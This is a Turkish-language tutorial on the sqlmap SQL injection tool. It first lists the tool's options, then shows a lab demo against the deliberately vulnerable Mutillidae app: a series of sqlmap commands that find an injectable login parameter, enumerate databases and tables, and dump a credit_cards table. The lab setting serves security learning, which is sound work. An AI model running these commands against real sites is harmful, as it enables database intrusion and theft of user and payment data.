1-Sqlmap Nedir?
Sqlmap açık kaynak kodlu sql injection açıklığı tespit ve istismaretme aracıdır. Kendisine sağlanan hedef web uygulamasının kullandığı veritabanı sistemine gönderdiği çeşitli sorgular/komutlar ile sistem üzerindeki sql injection tipini tespit eder yine kendisine sağlanan parametrelere göre çeşitli bilgileri hedef veritabanından alır.
Hedef Hakkında Bilgi Elde Edebilme:
- Veritabanı türü ve versiyonu (–banner,–all)
- Mevcut kullanılan veritabanı ve erişilebilen tüm veritabanı isimleri (–current-db, –dbs)
- Veritabanı tabloları(tables) ve bu tablolara ait kolonları(columns) (–tables, –columns)
- Veritabanı datası(–dump, –dump-all)
- Veritabanı mevcut kullanıcısı ve tüm kullanıcılar(–current-user,–users)
- Veritabanı kullanıcı parolası (–passwords)
- Veritabanı kullanıcısının DB admin olup olmadığı bilgisi(–is-dba)
- Hedef sunucu hakkında bilgi(İşletim sistemi, Uygulamanın kullanıldığı teknoloji vs. , -f)
- URL (–url, -r )
- Burp suite ve WebScarp proxy logu (–log , -l)
- HTTP talepleri bir dosyadan okutulabilmektedir. (–r)
- Google üzerinden URL toplayıp input olarak alabilmektidir.(-g)
- /sqlmap/sqlmap.conf dosyası -c parametresi ile verilerek tüm konfigrasyon input olarak verilebilir. (-c)
Sqlmap Demo (Mutillidea)
Bir önceki yazımda Mutillidea uygulamasında database,table ve column isimlerine daha sonrasında ise kullanıcı bilgilerini ve database versiyonu gibi bilgilere manuel bir şekilde ulaşmıştık. Bu bilgilere ulaşırkende uzun uzun elimizle sorgular yazmıştık. İşte bu noktada yardımımıza Sqlmap yetişiyor.Artık uzun ve karmaşık komutlar yazmak yerine bu araca gerekli parametreleri vererek istediğimiz sonuçlara ulaşabiliyoruz.Nasıl mı ? Hadi başlıyalım;
Öncelikle daha önceki yazılarımızda kullandığımız mutillidea uygulamasına browser üzerinden giriş yapıyoruz.
Resimde görmüş olduğumuz OWASP Top 10 -> A1- Injection -> SQLi-Extract Data -> User Info tabına gidiyoruz. Sonrasında karşımıza çıkan login ekranından giriş yapmaya çalışıyoruz.
Giriş yapmaya çalıştığımızda hata alıyoruz ve resmi dikkatli incelediğimizde URL kısmında giriş yapmaya çalıştığımız kullanıcımıza ait bilgilerin var olduğunu farkediyoruz. Aslında bizimde tam olarak ihtiyacımız olan bu URL ‘di artık Sqlmap yardımıyla ne tür sql injection zaafiyetleri içerdiğini görebileceğiz.
İlk olarak terminalimiz açıyoruz ve aşağıdaki komutu çalıştırıyoruz,
$ sqlmap
İlgili komutu çalıştırdıktan sonra yanlış kullandığımıza dair bir hata alıyoruz ve sqlmap’i nasıl kullanabileceğimize dair örnek kullanımlar listeleniyor.
Yukarıda mutillidea uygulamasında hata aldığımızda oluşan URL ‘li kopyalıyoruz ve komut satırında aşağıdaki şekilde yapıştırıyoruz.
Sistemde Açık Bulmak İçin Kullandığımız Komut
$ sqlmap - u "http://10.0.2.6/mutillidae/index.php?page=user-info.php&username=yakup&password=&user-info-php-submit-button=View+Account+Details"
Sonrasında bize bir parametre buluyor username alanı ile ilgili ve bir açığı olduğunu söylüyor.
Artık elimizle herhangi bi denemeden sistemi kırabileceğimiz bir alanı Sqlmap aracını yardımıyla bulmuş olduk.
Database İsimlerine Ulaşmak İçin
Bu adımda ise sistemde var olan database isimlerine ulaşmak için komutumuzu biraz değiştirerek tekrar çalıştırıyoruz.
$ sqlmap - u "http://10.0.2.6/mutillidae/index.php?page=user-info.php&username=yakup&password=&user-info-php-submit-button=View+Account+Details" --dbs
Komutun çıktısı olarak database isimlerine erişmiş olduk.
Kullanımda Olan Güncel(Current) Veritabanı’na Ulaşmak İçin
$ sqlmap - u "http://10.0.2.6/mutillidae/index.php?page=user-info.php&username=yakup&password=&user-info-php-submit-button=View+Account+Details" --current-db
Şuan kullanmış olduğu veritabanı ismine yukardaki komut yardımı ile erişmiş olduk.
Veritabanı Tablolarına Erişme
$ sqlmap - u "http://10.0.2.6/mutillidae/index.php?page=user-info.php&username=yakup&password=&user-info-php-submit-button=View+Account+Details" --tables -D owasp10
Bu adımda mevcut kullanımda olan veritabanı tablo isimlerine erişmek için komutumuzu yukardaki şekilde güncelledik.
Resimde görüldüğü gibi “owasp10” veritabanına ait tablo isimlerini elde etmiş olduk.
Column İsimlerine Ulaşma
$ sqlmap - u "http://10.0.2.6/mutillidae/index.php?page=user-info.php&username=yakup&password=&user-info-php-submit-button=View+Account+Details" --columns -T credit_cards -D owasp10
Bu adımda ilgili komut yardımıyla column isimlerine ulaşmış olduk.
Tüm Bilgilere Erişme
$ sqlmap - u "http://10.0.2.6/mutillidae/index.php?page=user-info.php&username=yakup&password=&user-info-php-submit-button=View+Account+Details" -T credit_cards -D owasp10 --dump
Son adımda ise ilgili komut yardımıyla tüm bilgilere ulaşmış olduk.
Önceki Duran Paylaşamadığım Konulardan Birisi Hazır Konu Önceden Hazırlamış Olduğum.